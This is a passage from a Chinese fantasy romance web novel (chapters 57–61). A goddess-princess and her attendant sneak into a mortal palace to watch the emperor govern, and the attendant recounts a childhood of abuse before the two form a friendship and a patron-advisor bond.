祝晏对此解释道:“眼下我们的修为不过与人族的高阶修士无异,皇宫内又有万象宫的神官轮流当值,他们中有数位能够飞升成仙,却不知为何仍然留在芸生世,还是小心为上。” 九昭便再无异议。 她多看几眼,倏忽想起自己留在扶胥处的那张,当初只为恶作剧用的符纸,心绪又开始低迷,只好没话找话道:“论对符篆和法器的研究,三清天当真无人比得上你们九尾狐一族。” 祝晏回以谦和一笑。 …… 使用隐身术,再贴上敛息符。 为了保险起见,祝晏特地领着九昭,去坐在一楼门口晒太阳的离火面前转了一圈。见对方毫无反应,他才放心下来,还被九昭取笑一回“有必要这么小心”。 “一切和小姐有关的事,属下都要仔细再仔细,必得做到万无一失。” 祝晏一本正经地回答,后在前方领路,与九昭一同御风前往供宫进出的皇宫偏门。 一路上,他叮嘱起要紧的事宜:“进入宫内,小姐最好不要再动用法术。一方面兴许会出现力量波动,坏了敛息符的作用,一方面容易被龙气察觉是外来者。” 九昭“嗯嗯”几声,却是忙着欣赏四周的京都风景。 几刻后,他们在皇宫侧门外站定。 趁一个出去采买的宫人停下脚步,向戍卫出示腰牌的间隔,快步溜了进去。 抬起头,粗粗浏览这些碧瓦飞甍一番,九昭立即发觉了其与三清天的不同。 三清天的宫殿分散在云端之中,哪怕是神帝的紫微宫,也没这么多弯弯绕绕的高墙。 这些高墙偏偏又是一个模样,像是用相同的器皿摁压出来的一般,大小颜色毫无差别,走在青砖铺就的宫道上,若无熟悉之人带领,恐怕很快会迷失其中。 九昭一路看,一路走。 花费了大半个时辰,才看到皇帝所用的御辇,停在一处名为“崇禧”的宫室前。 人间正处夏季,蝉鸣阵阵。 随行的太监内侍,隔着一道半撩起的竹帘无声候在廊檐下,汗水洇湿绀青官帽滑下,却不见他们抬手去擦,佝偻着肩膀垂头伫立在那里的模样,活像一座座栩栩如生的石像。 九昭来得太晚,错过了皇帝上朝的时候。 走进装饰华丽的殿宇,瞧见的不过是逐渐年迈的皇帝,与青春正盛的嫔妃用膳的场景。 “皇上,您尝尝这道双菇烩鹿肉。 “此菜中的松茸和竹参,是臣妾母家从滇南郡快马加鞭送来的珍品,足足耗费了几十张缩地符,从摘下来到送进厨房不过一个半时辰,最适合您补身用了。” “果然美味,爱妃你真是有心了。” “臣妾待在宫中,能做的仅是提点他们将餐食做得精致些,哪及臣妾母家时时刻刻将皇上的龙体康泰放在心上,前几日臣妾不过在信中随口一提,他们便立刻派人搜寻补身珍品。” “嗯,靖国公一府的忠心,朕自是知晓。” 筷箸的轻碰声,是宫殿内除开两人的对话声之外唯一的声音。 从交谈里,九昭得知,这名妃嫔的封号为“珍”。 一餐饭毕,那千娇百媚的嫔妃抽出腰间手帕,莲步袅袅,挨在老皇帝旁边为他擦嘴。 或许是一老一少,一美貌一丑陋的冲击力太大,九昭看得颇为尴尬。 她下意识转头去看祝晏,祝晏亦有同感:“在天上见多了容貌恒久不变的神仙,骤一看到发生巨大变化的凡人皮相,属下才真正意识到时间流逝速度之快——在我做驻守仙官的时候,乾朝的皇帝还是个刚刚登基,踌躇满志的中年人。” 九昭接过话询问:“你做驻守仙官,那是什么时候?” 祝晏感叹:“按照芸生世的年月计算,大概在二十年以前。” 九昭心算一番,挑眉诧异道:“你应该比我大不了几千岁吧,那时候岂不是还没成年?未成年的贵族子弟都会来长烨学宫进学,说起来,我好像从未见过你。” 神王被分封四方,上神子息随同他们住在二清天中廷。 而贵为神姬的九昭,则独居于离恨天。 这三处相隔甚远,除了年节庆典,分散开来的同龄人很少能够时常聚集在一起。 所以长烨学宫就成为了一个特殊的地方,在最重要的进学修行之外,还有助于结交志同道合者,拓宽人脉,因此有点身份的贵族子弟不论嫡庶都会被送来这里。 成年的祝晏这么好看,年少时也不会差到哪里去。 作为一个颜控的九昭很确定,自己但凡见过他就不会忘记。 她眼巴巴望着祝晏,看见他用很平静的表情自揭伤疤:“我自小住在神王宫的一处偏殿里,由已故娘亲留下的贴身侍女月见照顾,没去长烨学宫上过学——所以殿下才没见过我。” 可、可祝晏在整个三清天明明素有才名—— 察觉到九昭因震惊而睁圆的眼睛,青年继续说道:“不过月见姑姑很有本事,她教我读书识字,习礼修行,请小姐恕晏自傲之罪,我自认不比那些在长烨学宫进学过的同龄人差劲。” 不以卑微的出身为耻,在极度糟糕的处境之下,仍然能够奋发上进。 到如今,更是同辈中的佼佼者。 这样的人,由不得人不心生敬意。 九昭额外想起祝晏与自己同病相怜,自幼便失去了母亲的呵护疼爱,不禁安慰:“你这般出色,没有受过名仙大儒的辅导,却能以三万余岁的年纪身居三清天金仙之位,相信你娘亲在天有灵,一定会为你感到骄傲。” 面对九昭的真挚言语,祝晏感激地笑了笑。 只是那经过变化的双眼眸色太黑,竟透出一股矛盾的冷漠感。 两人没有交谈太久,祝晏望着不远处的人群道:“小姐,皇帝似乎要起身了。” 58| 第58章 ◎“若我真心爱一人,必竭尽全力不使其受伤。”◎ 神帝没有妃子需要陪伴, 午膳结束会休息一个时辰,然后开始处理政务。 推己及人,九昭对于老皇帝接下来要做的事提不起兴致。 “我来人间的皇宫, 可不是来看皇帝吃喝拉撒的……” 她遥遥坠在簇拥明黄身影的队伍后方, 忍不住小声嘀咕。 仿佛察觉到了九昭的不满,老皇帝坐上御辇后没去寝殿小憩,反倒吩咐轿夫们改道前往御书房。他又报了几个名字给旁边的首领太监,命他把这些人一同传来。 九昭百无聊赖的瞳光一下子亮了起来。 这才是她感兴趣的事情。 养病这三天, 她想清楚了最重要的一点。 无论最后她坐不坐得上神帝这个位置,但依仗神姬身份,恣意挥霍了三万多年的时光是事实, 如今她成人已久,总得有些匹配得上身份的眼界格局,才不至于丢父神的脸。 至于如何开拓眼界格局—— 九昭目前最为简单的想法,便是想当好一个掌权者, 就要先看看别人如何当掌权者。 前两日, 她曾跟上楼来慰问病情的离火仙官打听过, 得知乾朝的现任皇帝是个明君,在他的治理下, 整个芸生世海晏河清——横竖在人间无事, 九昭打算跟着这位皇帝好好学习学习。 她的心思没跟人提起。 连找到祝晏,也用了那样一个听起来无理取闹的借口。 …… 在烈日炎炎下行了一段路, 九昭二人终于跟随老皇帝来到御书房。 她本就体热, 畏惧盛夏天气, 叫炽热阳光当空久照, 汗水浸湿了罗衣。 幸而御书房内, 放着两座半人高的冰山, 才送来没多久,还没开始融化。凝结了修士力量的符篆贴在旁边的鎏金风轮下方,它们对准冰山匀速转动,送出恰到好处的消暑凉风。 九昭对于享受一事最为精通,甫一踏进御书房,便立刻倚在冰山旁,占据了个好角落。 不多时,几位朝服危裹的大臣步履匆匆,前来觐见。 简短的行礼问安,以及抬手平身后,老皇帝和这他的这群心腹们开始议政。 什么即将到来的秋闱选拔、各地的税务督查、南方地区的旱灾情况,另外就是令万象宫派修士组成小队,前去西北乡镇,歼灭从焚业海裂缝里,偷溜出来作祟的低阶妖魔。 九昭听得仔细,心想这芸生世的政务倒和三清天有许多异曲同工之处。她挑选出几件还算有头绪的政务,设身处地思考着倘若自己处在皇帝的位置会如何做出裁决。 自打进入皇宫开始就语声不断的神姬殿下止了话头,下巴微微低敛,长垂睫羽盖住黑亮眸光,专注沉浸在自身的思绪当中。这样少见的安静姿态,落在祝晏眼里,自成别样风景。 他看破不说破。 假装不知九昭的真正来意。 偶尔在九昭因为思忖不出,紧皱眉头陷入苦恼时,装作自言自语般提点两句。 耳畔传来煦然言语,和沁润的凉风一起消解暑热。九昭起先烦恼祝晏频频打断思路。但真正把他的话听进去,却发觉相比自己的青涩念头,他的见解更有一番成熟政客的道理。 如此,她面对祝晏,又多了层全新的认识——更情不自禁在心中感叹,祝晏的生母分明是北神王宫最低等的妾室,却连身畔侍女都能有这般能力,能将祝晏教得如此博闻强识。 时间无声淌过。 一个多时辰的政务旁听,在祝晏的指点下,没有想象中的无聊,很快来到最后一议。 “陛下,还有珍贵妃母家靖国公府一事——” 相较前面几个政题的各抒己见、应对得宜,大臣们口中提起这两个九昭不久前才听过的人称时,脸庞不约而同呈现出几分欲言又止的迟疑。 崇禧殿里,身穿华服侍膳的宫妃,那张格外年轻的面孔浮现在九昭脑海。 她正好奇议政怎么会突然牵扯到后宫女眷,冷不丁看见正在审阅一本奏折的老皇帝抬起头来,因为上了年纪而略显浑浊的瞳光中,无声折射出令人不寒而栗的冷冽。 “朕命你们暗中收集靖国公府的罪证,进展如何? “自从去年与南疆部族一战取得胜利之后,朝堂内外,靖国公、靖国公的长子次子,以及其党羽居功自傲,气焰愈发嚣张,朕只告诉你们,朕已实在难忍—— “待到罪证齐全,他们尽失人心之时,朕会将他们一举拿下,抄家论罪。” 圣令骤降,秉承风雷。 老皇帝的声音虽不大,却字字透着不容置喙的威势。 有手握重病,显赫一时的靖国公府做例,御书房里这些随便一位站出去,都能够叱咤风云的重臣越发两股战战,只恨不能剖开胸膛献上心脏,来向老皇帝展现他们的忠诚。 就在他们你一眼我一语,例数靖国公的罪状,唯恐皇帝不够满意时,站在最末尾的一位年轻臣子面露不忍,拱手出声:“陛下,珍贵妃娘娘入宫多年,颇得您的宠爱,皇后病弱,她这些年帮忙协理六宫亦是尽心尽力,素来有贤惠精干之名—— “若来日对于靖国公府的惩处传到贵妃娘娘耳朵里,恐怕她将无法自处。” 此话一出,其他臣子陡然无声。 若换做其他妃嫔,他们定会驳斥对方,天下与一人孰轻孰重,不要怀揣妇人之仁。 但皇帝对于珍贵妃的盛宠,举世有目共睹。 在不清楚皇帝的真实想法前,他们也不敢贸然向珍贵妃开炮。 然而,书房内没有寂静太久。 随着朱批御笔掷地的一声脆响,皇帝一贯从容的语调陡然凌厉起来:“靖国公府之事,与珍贵妃何干?一入宫门,贵妃便是皇家的人。朕不会因为靖国公的错失怪罪贵妃,当然,也不会因为宠爱贵妃的缘故,而放过那些祸乱朝政的人。众位爱卿,你们自当与朕同德同心!” …… “陛下英明!” “臣愿谨遵陛下圣裁!” 一时之间,迎合声不断。 老皇帝满意颔首,又叮嘱“此事不可外传”,臣子们才告退鱼贯而出。 九昭的心情有些复杂。 她无需看老皇帝眼色,便不加遮掩直言道:“夫君变成仇人,珍贵妃还如何活得下去。” 帝王对她盛宠,却在处理她的家族时,没有任何犹豫。 当人手握权力,那些男女之爱,夫妻之情,就好像通通变成了草芥般不值一提。真不知道倘若异位而处,贵妃居于高位,下令彻底铲除丈夫的家族,老皇帝会不会认为她决断英明。 她把自己的不解和鄙薄说给祝晏听,祝晏却司空见惯似的说道:“不只是芸生世,这等事迹在三清天的历任神帝的统治生涯中,也不算罕闻——上古时期的第三任神帝天璇女帝,就曾因为帝夫部族的叛乱,而下旨将对此一无所知的帝夫以及其部族一同歼灭。” 顿了顿,他轻轻道出一个九昭无法反驳的事实: “只要权力存在,这些骇人听闻的事,就永远不会止息。” 九昭听得厌烦,心中虽同情那位被蒙在鼓里的珍贵妃,却碍于天道的桎梏无可作为。 她冷冰冰地问道:“所以在你看来,老皇帝的行为做得很好?” “不。” 祝晏的回答十分果决,“若我真心爱一人,必竭尽全力不使其受伤。靖国公的跋扈之相早有征兆,皇帝为了名声不受损,才会一步一步将其放任至此,只求连根拔起时不伤自身羽翼。 “若我身在皇帝的位置,哪怕拼着付出代价,也会在事情发展到无可挽回的地步前,尽力找到条两全道路,让靖国公卸除权力,回家安度晚年,也与珍贵妃说明情由,不叫她心伤。” 事态真正发生时,无人可以保证做出的决定会和心中设想的一模一样。 但见识过太多冷漠无情、冠冕堂皇的言语,九昭更认可祝晏这保留一丝人情味的想法。 她看向祝晏的视线又软化了一些。 口中却看似恨铁不成钢地揶揄道:“所以,你也是用这种想法,来看待自己和孟楚的关系的吗?祝晏,人若太过心软,确实可以免除他人受伤害,因为,受到伤害的只有你自己。” “小姐英明。” 祝晏忍不住苦笑,“或许如同小姐所言,属下就是太过蒙昧,才会看不透这一层吧。” “可若世间尽是残酷麻木之人,而无良善退忍的品德,大约早就已经毁灭。” 九昭丢下这看似不经意的一句,抻开双臂,伸了个懒腰,打出一声无趣的哈欠,“在皇宫待了这么久,我困了也饿了,回去吧,明天再来。” 言罢,她转身打算离开。 却因为和祝晏间的距离挨得太近,一个不小心撞到了他的肩膀。 青年身姿颀长,躯体也是成年男子般的挺拔坚硬。 九昭被他撞得倒退半步,那贴在掌心的敛息符倏忽掉了下来。 “哎,我的符咒——” 九昭倾身欲捡,符咒却如祝晏所言,离开掌心的弹指已化为灰烬。 她正懊恼自己的不当心,又担忧起没有符纸,可会引起皇宫中龙气的察觉。 一只修长如玉的手,便在这时滑进了她的掌间。 “请小姐恕罪,您的敛息符已毁,为了安全起见,臣只能出此下策。” 说着,祝晏贴着符纸的手,缓缓牵住了她。 59| 第59章 ◎“从今以后,小姐都是我的朋友。”◎ 被一个男人, 特别是一个拥有绝世容貌的男人突然拉住手。 九昭不好形容当前的感受。 上回被祝晏托在手里的,是自己的脚,还隔有一层柔软厚实的手帕。 现在, 格挡物仅是单薄的符纸, 两人年轻的肌肤陡然相贴—— 九昭才晓得那远远看来光洁无暇的手,实则指腹上覆着不少粗糙茧子,靠近掌心处,还有一条与周围肤色一致, 但触碰起来格外凹凸不平的长疤。 九昭养尊处优惯了,浑身上下都生得娇嫩。 这些茧子和疤痕,跟随彼此牵手行路的动作上下厮磨着, 简直一步一刮。 起先九昭还能够忍耐,走到一处宫墙外的阴影下时,她终于停了脚步。 被刮得又痒又麻的纤细手指在青年掌心蜷起,来回转动, 发出不适的抗议。祝晏连忙放松一些, 却没有彻底放开九昭的手, 轻声道歉:“都怪属下的手掌太过粗糙,把小姐弄疼了。” “凭借神仙的力量, 去除这些小伤小疤简直轻而易举——你怎么情愿留着?” 九昭抿着下唇, 语气不好,难以理解。 她长这么大, 几乎没有见过不注意自身仪容仪表的神仙。 毕竟修行就是为了让身心洁净, 达到内外圆满—— 心什么时候能够彻底洁净不好说, 去掉身体的伤疤旧痕却是十分容易。 祝晏同瀛罗, 皆以顶尖容貌冠绝三清天。 瀛罗就特别爱美, 为女子时每每与她相见, 都会涂脂抹粉,力求浑身上下容光焕发。 也只有像扶胥那般的异类才会相反,觉得过于追求外表的完美,人的内在就会相对应地被忽略然后缺失。他甚至一度不允许旁人说起任何有关他皮相的话题—— 呸呸呸。 怎么又想到了那坏人身上! 九昭用力咬住舌尖,激痛之下,脑海刻意蔽去了扶胥的名字。 她理所当然地认为,祝晏如今在三清天的名望,本就有一部分长相的加成,自是应当好好爱惜。那头,祝晏却在经历了和她走神时间一样长的沉默后,说起从未诉予外人知的真相: “年少时,我虽经历母亲早逝,但有月见姑姑的疼爱,也自觉没什么比别人差的地方。 “一次神王宫的过年家宴上,我在父王面前使出了孟楚他们久久未掌握的仙术,赢得父王的赞叹,我更是铆足了劲,想要向世人证明,我比孟楚长相好,天赋也比他更出色。” 这显然是一个有些长的故事。 九昭见祝晏做出倾诉的姿态,便倚着宫墙认真听他讲述起来。 “月见姑姑曾劝我,作为庶子不要那么争强好胜,以免遭到针对。我心里不服气,自然不愿听,不够格和孟楚他们同堂修习,我便在偏殿的后院中,捧着几本旧的仙术手册日夜钻研。 “接下去的事,就如我所想的一般,第二年、第三年家宴,我接二连三抢走孟楚的风头,父王看着我的眼睛,欣慰的情绪也越来越多。 “当我以为自己能够在兄弟姊妹中脱颖而出,被父王看重,全力培养的时候,孟楚终于忍无可忍,他不满一个小小庶子胆敢爬到自己头上作威作福,妒火中烧之下,便伙同另外几个平时就唯他马首是瞻的庶出兄姊,以仙术对练为名,避着人群,把我叫去演武场。 “我到了那里,才发现哪有什么对练,有的不过是他们想把我当成人/肉/沙包。 “开始是我一对一和孟楚对战,见胜不了我,他就放弃了车轮战的计划,干脆叫旁边的兄姊一起上。我双拳难敌众手,仙力耗光以后,被他们摁在演武场的泥地里痛打。 “手上的剑疤也是在那时候,孟楚故意留下的。” 祝晏口中年少的自己,同他如今在和九昭的相处过程中表现出来的性格截然相反。要不是打小过的便是众星捧月的日子,从未受过欺负,九昭简直要以为他是另一个自己。 她不觉生出好奇。 所以,是经历了什么,他才会练就这样一拳过去,仿佛打到了棉花般的好脾气。 又或者,其实他在她面前展现的模样,并非真正的自己? 祝晏的讲述还在继续,语调却比过去任何一次交谈都来得低沉:“小姐,你知道吗?就算客观上,敌众我寡,打不赢输了也没什么丢脸的——我依旧很不服气。不服气凭什么都是父王亲生的血脉,我们这些庶出子女却没有出头之日,只能像奴仆一样,卑躬屈膝地讨好孟楚。” “晚上,我挨完打回去后,没有告诉月见姑姑被孟楚他们针对的事。好在孟楚他们知道脸是给外人看的,不能受伤,只打在我衣物遮挡的身体上。 “我花了两天,一边治疗自己,一边思考那些攻击我的人,招数之间各有什么弱点。 “等我有了一些感悟,又被孟楚他们叫到了演武场。 “这次他们赢得不再那么容易,孟楚和另外两个打我最狠的人,被我反击得很惨。 “就跟家宴上固定的仙术表演一样,这场对练也有了第二次、第三次、第四次……我以为就这样下去,直到我战胜他们所有人,彻底胜利一次,孟楚就会知难而退,不再来欺负我。 “可我没想到的是,孟楚打不过就回去告状,知道这件事的神王妃派人抓了月见。并当着后宅所有人的面宣告月见犯下大罪,说她将我教得不知人伦纲常,不懂得何为尊重兄姊。 “那天她差点就要把月见姑姑打死,是我扑过去趴在月见的背上,替她挨了几十下,才留下她一条性命。施刑到最后,我也跟着口吐鲜血,快要昏厥,神王妃思及死掉一个奴婢不足为惜,但同时死掉一个有天赋的庶子,肯定会引来父王的怒火,才叫人放过了我们。 “我把月见带回去,哭着跪在她的床边,说了很多很多对不起。 “说我不应该不听她的话强行出头,害得她被神王妃打成这样。 “她却没有怪我,只是用一种我看不懂的表情望着我,同我说,是她和我的母亲对不起我才对,一个生下了我,一个照顾着我,却全都无力保护我。” 讲述短暂停在这里,祝晏受不了似地缓缓呼出一口气。 他的语声尽管低沉,眼里的情绪却是往事过去千万年,疼痛悲伤早已风化后留下的空静。 “从那以后,我便明白了。 “能力不足时,愤怒、不甘、桀骜、冲动……这些情绪都不是我该拥有的。 “孟楚要打就打,王妃要骂就骂,要先活着,守护好身边人的安全,才能去思考别的。 “所以,获得胜利的孟楚,就依照原样,在我恢复如初的皮肤上重新留下了这道疤。” 宽大的手掌微微收拢,九昭又被迫感受到了符纸之下,使白璧染瑕的长疤。 祝晏的悲伤,仅在说到月见姑姑为自己挨打受苦时短暂出现过,提及最后被记仇的兄长再度殴打割伤,他反倒弯起唇角,仿佛被趣事逗乐了一般笑出声来,“就像小姐说的那样,我们都是神仙,区区疤痕剑茧算得了什么——等到哪一日,堂堂正正用法术消除了就好。” 九昭一下子有些说不出话。 她本能地认为,从小被打压欺负,祝晏不应该是现在这副风淡云轻的模样。 “你不恨孟楚吗?之前同你交谈,你分明还很支持他继任未来的北神王。” 祝晏依旧满脸真诚地回答道:“小姐,我真的不恨兄长,他也只不过是个可怜人罢了。” “可怜什么?” 九昭困惑。 “可怜的,大概是,能力始终跟身份无法匹配,才会终日饱受煎熬吧。” “……” 这个答案,通往九昭从未设想过的方向。 一个人自己都过得那么苦,居然还有心情去怜悯别人。 她一时难以判断祝晏到底是真的释怀放下了,还是强撑着装不在乎挽回面子。但唯一可以确定的是,人与人之间的交往,切忌交浅言深,她和祝晏好像还没到那么熟的地步。 有疑惑,直接问出口,不放在心里过夜,是九昭奉行的准则。 她这么想,也这么问了。 又迎来祝晏凝视着她,越发柔和的眼神:“属下活了三万多岁,遇见过的人数不胜数,他们当中有一大部分人鄙夷打压我,有一小部分人看重赏识我。但他们身上都有一个共同点,那便是可惜我从一个最低等妾室肚子里爬出来的卑贱身份。 “我明白,这在极其看重血统门第的三清天很正常,我没办法责怪别人。也因此,小姐是我遇到的第一个,以平等态度看待我母亲,还告诉我天上的母亲一定会为我感到骄傲的人。 “我很感激小姐,所以不久前便在御书房里做出了一个决定。” 神帝只有太婀一位妻子,而九昭是他们唯一的女儿。 她从未经历过嫡庶争斗,对于这些涉及敏感的部分就没有那么在意。 但面对祝晏不吝惜的夸奖,她终究有些难为情,便选择性忽视:“是什么决定?” 祝晏弯了弯眼睛。 盛夏午后的刺眼日光落在他的躯体上,生生被这抹赤忱天然的笑容消解了炽热和棱角。 “属下决定,无论小姐如何看我,从今以后,小姐都是我的朋友。” 60| 第60章 ◎“怎么,你不愿意?”◎ 朋友, 这个称谓除了瀛罗,没人跟九昭提起过。 过往在长烨学宫修习,九昭身边的同窗大致可以分为两种。 一种是自身的门第封号十分高贵, 常年有一堆跟班鞍前马后效劳, 与她同类相斥相看两相厌的;另一种,则是永远将她的储君身份记在心间,讨好巴结不够,只恨不能凑上来拿舌头舔的。 这两种人九昭都不喜欢。 至远生厌, 至近生烦。 唯有瀛罗能时刻把握好同她相处的分寸感。 所以分分合合,合合分分万余年,瀛罗一直是九昭唯一的朋友。 现在, 祝晏也说要做她的朋友。 没有别的案例参考,九昭只好将祝晏的身影,代入到她和瀛罗的相处过程中。 男子的身份多有不便是个麻烦点。 但同桌学习,抄祝晏的作业, 下课带着祝晏一起玩, 将他领回离恨天吃点心, 把烦心事说给他听,叫他出主意……诸如此类曾和瀛罗共同经历的事发生在祝晏身上, 九昭竟然都不太讨厌。 有了不讨厌这个前提, 再加上祝晏是自己死对头孟楚一直打压的人,曾几次三番出言帮助自己, 以及前几天高烧重病, 他损耗许多仙力救自己的人情, 九昭心中的弦松动了几分。 但要直接说“我也把你当成朋友了”是不可能的。 现在不可能, 以后也不可能。 没办法, 九昭就是这么个傲娇的性子。 她转了转眼珠, 目送宫道上一个凑巧路过的小太监快步离开,才故意抱臂仰头,用略带嫌弃的语气嘴坏道:“要当本小姐的朋友,你还不够格,做做端茶递水的小跟班倒是可以。” 真是意料中的九昭式发言。 要指望通过一次示弱和推心置腹,就得到她全部的眷顾,着实是强求了。 祝晏望着她侧转不看自己的皎洁面孔,那样亮烈,那样明媚生光,仿佛不知世间痛苦为何物。被这股消弭一切晦暗的情绪感染,他陷于往事阴霾中的眉眼,终于彻底松懈下来。 再次轻声应和:“承蒙小姐不嫌弃,就算是跟班,也是晏高攀了。” 九昭不知祝晏脑海的想法,只满意于他的识时务。 为此哼哼一声,终是放软了语气,像个出事挡在小弟面前的大姐大那般表示道:“……既然是跟班,以后你就是本小姐罩着的人了,不必再害怕孟楚的磋磨。” …… 他们在手拉着手,在高墙投射的阴影里闲话良久,回到壶天珍宝斋已近傍晚。 九昭并不与其他神仙一同用膳,待在房间里吃完自己的那份后,又拉着朱映加入,绛玉作陪,摆弄起自己刚在人间新学的对弈游戏——双陆棋来。 只是九昭习惯了直来直往,一向不擅长于运筹帷幄相互博弈的手段。 原本双方均是新人上手,菜鸡互啄,很快善于此道的朱映熟练起来,连赢她三盘,气得她直嚷嚷:“你看看,你看看,朱映,这就是你不可爱的地方!我真后悔当初没把你留在离恨天!要是换做缃璧来,就算能够稳赢我,也会放放水让我享受一下游戏的乐趣!” “是是,是属下错了,下回一定相让。” 朱映还在兴头上,意犹未尽,继续邀请道,“小姐,我们再来一局?” “去去去,你去和绛玉打吧,都知道赢了也不是凭自己的实力了,我还和你玩什么!” 九昭跺了跺脚,从室椅上站起来,连棋牌带人将他们轰了出去。 她提着裙子踱步回来,在不大的房间里环视一圈,选择趴在窗边对着高悬的明月发呆。 思绪发散了一刻,却始终不得安闲。 九昭又想起祝晏手上凹凸不平的剑疤,和他悲惨的年少经历。 越想,被人连头摁进土里,犹自不肯屈服的少年面孔就越是清晰。 “哎呀!” 她一拍脑袋,低呼出声,将胸口莫名其妙涌出的同情心,归结于吃饱了撑得慌。 她又转头找出塞进床边抽屉的时兴话本,一目十行地翻看没几页,最后还是抵不过这种情绪的泛滥,从储物戒中找出最上品的仙药,起身推开房门。 …… “喏,这是南陵进贡的复痕凝露,抹在伤疤上,很快就能恢复平整。” 站在祝晏面前,九昭递过手上的白瓷瓶,顺便为自己找补几句,“反正这药在我的私库中多得是,放的时间久了也会失去效力。你修复登天阶要消耗许多仙力,拿着它,不用白不用。” 目光定格在瓶身上,闪过愕然。 祝晏也没想到九昭会对一个“跟班”这么上心。 他正要流露感动。 “小姐,感——” 九昭却大手一挥,将药塞进他的衣襟:“你先用用看,要是效果不好,我再找别的给你。” 说完,她也没有要离开的意思,祝晏会意当着她面打开白瓷瓶。 药瓶木塞被拔起的一瞬,草植清香迅速席卷室内。 光看那顺着瓶口溢出的点点浅绿仙灵,祝晏便知这是不可多得的珍品,应该出自南神王琼英之手,放眼整个南陵也是少见,绝不会如九昭所说的那般多到用不过来。 仅是消除手上的剑茧和伤疤,耗费不了多少药量,为了不污染瓶内的剩余凝露,祝晏将药搁在旁边的桌上,开始寻找起房内可以用作代替的干净涂抹之物。 九昭的目光亦随着他的身体左转右移,开始不耐烦起来:“你在干什么?” “用手挑取仙药终究不洁,所以属下想啊——” 来不及把话说完,祝晏被凭空生出的一双手拉得笔直坐倒,发出一声猝不及防的低呼。 “忸忸怩怩的,想烦死谁!” 九昭斜瞪他一眼,一手摁住他的手掌,一手拔出药木盖,用小指挑了凝露涂在他的掌心。 先是仙药的沁凉,后是高于常人的热。 偏偏这热不是凝固的,而是流动的。 九昭白腻的指腹抹到哪里,哪里就带起一阵无法忽视的热意。那变得早已如同枯树皮一般麻木的疤痕,倏忽前所未有地敏感起来——这下被激得蜷起手指的人变成了祝晏。 他的喉结上下滚动两个来回,两扇长睫也化作了受惊的蝶翼。 好在呼吸也要泄露的前一秒,他终于控制住了自己。 九昭涂得专注,并未察觉祝晏的异样,口中自顾自地说着:“我前几天在床上躺着无聊,就从巽泽那里顺了本芸生世的算命书,书上说掌心的三条纹路叫做天纹、人纹和地纹,分别对应感情、智慧和生命。你的人纹和地纹倒是很长,相比之下,天纹就显得短了。” 九昭说这个,倒也不是相信。感情、智慧、生命,并不以此作为实据,只有那些天资不足,无法修仙堕魔,又渴望掌握命数的平庸凡人才会信这个。 她用一种轻快的口吻提起,只当成个乐子跟祝晏分享。 祝晏安静地听着,在她说到“代表感情的天纹短”时,眸光一阵细微摇曳。 “你看,我的天纹就很长!” 九昭献宝似地朝他摊开手掌。 祝晏配合地打量一番,给予夸奖道:“小姐不仅天纹长,人纹和地纹也都很长,一看就是十全十美的命数,就是不知道这天纹上生出许多小分叉,有什么说法?” 他原本只想引着九昭多说几句。 但听到询问的九昭在一阵冥思苦想后,表情倏忽变了变。 她哈哈几声,转移话题:“我用完膳待在房里认真想了想,光我一人不在意不够,想要彻底解决他人对你的偏见,还得从你母亲的身份上下手——等到修复登天阶的差事了了,回三清天便要论功行赏,我会提前和父神说一声,然后宣道旨意去北境,将你母亲的身份归入散仙。” 三清天的后宫王宅中,低等的贱妾均是没有脱去身份的仙奴。 一般情况下,得到宠爱或生下子嗣,但凡占据一样,贱妾就能摆脱奴籍,归入散仙,成为有正式名分的良妾,只有最卑微不受在意,玩玩便被抛在脑后的男女,才会到死都顶着这个名头。 他们和他们的子女,被人看不起,也最是可怜。 九昭这个想法,足见她的知恩图报之心,和对于朋友的看重。 祝晏起初想不到她会纡尊降贵为自己涂药,此刻更想不到忍着耻辱,吐露身世的效果会这么好。 一时之间,讷讷几句,竟说不出完整的话来。 “怎么,你不愿意?” 久久得不到答案,九昭停下涂药的动作,抬头向他看过去。 祝晏嘴唇张合几下,一半激动一半惭愧:“晏感激小姐的抬举,自是做梦也想为母亲脱去奴籍,只不过月见她,还在神王宫……王妃她若看到小姐的旨意,说不定会对月见做些什么。” 九昭想想也对:“那在颁布旨意之前,我先叫朱映去把你的侍女接出来。” 以九昭的地位和能力,要完成这些并不难。 她做起自己乐意的事,也格外的有耐心,不怕麻烦。 她思忖,虽然父神告诫过为君上者,不可随意插手臣子的家务事,但父神也说过,一朝天子一朝臣,她为储君之时,就该考虑先培养一批能干又忠心耿耿的心腹。 孟楚和她不对付,又有整个北境撑腰,难保日后为神王不会对她的命令阴奉阳违。 若能在孟楚继位前,将他拉下马来,换成祝晏,那么—— 念头断在此处,九昭没有再想下去。 她惊觉不知何时起,自己竟也渐渐学会了谋算人心。 而另一边,不知她内心暗涌起伏的祝晏,仍在用满怀感愧的美丽眼睛注视着她。 他沉默了一阵,像是终于下定决心,反手极其郑重地握住了九昭的掌心:“比起凭借小姐的关系为母亲脱去奴籍,我更想依靠自己的本事——小姐若对朝堂政务感兴趣,臣愿请缨前往离恨天,成为常曦殿内一低阶幕僚,为小姐出谋划策,与小姐时常探讨一二。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 61| 第61章 ◎“可是小姐……那天我不巧有事。”◎ 原来俗话所说, 情场失意,官场得意,竟是真的。 之前利诱祝晏数次, 还比不上拿他母亲随口安慰一句。 通过让祝晏成功效忠一事, 九昭意识到,原来收买人心也没有想象中的那么难。 前提是知道对方真正想要什么。 她的心腹原只有朱映、绛玉和缃璧三人,朱映一向面面俱到,只是不喜对分外之事多言;绛玉开朗活泼, 善于交际,但城府有所欠缺;缃璧成熟稳重,亦有智谋, 却受困于格局眼界。 如今有了祝晏的加入,恰好弥补了这个队伍的缺陷。 以后遇到一些拿不定主意的事,亦可找他商量,听取他的看法。 不过九昭也没打算太快交付信任, 下界的这段时间, 正好可以用作考察对方的期限。 …… 芸生世的日子, 过得比天上还要规律。 九昭每隔三两天会前去查看一下登天阶的修复进度。看完若无其他事,便拉着不轮值的祝晏潜伏进皇宫听课——在得知皇帝卯时就要上朝之后, 她甚至改掉了赖床的坏习惯。 祝晏的敛息符珍贵, 用一张就少一张。 九昭思及他日子过得不容易,并没有那么多宝物可以挥霍, 便同他说这符篆贴得不够紧, 有了上次不小心撞下肩膀就脱落的经历, 还是单独贴在祝晏的手上, 两人手拉着手进去更加稳妥。 男女异性朋友之间……应该时常牵手吗? 又一次被九昭的手指牢牢握住, 祝晏望着两人交叠的双手, 眸光闪烁,欲言又止。 他不似九昭拥有朋友先是女后变男,模糊了性别界限的际遇。 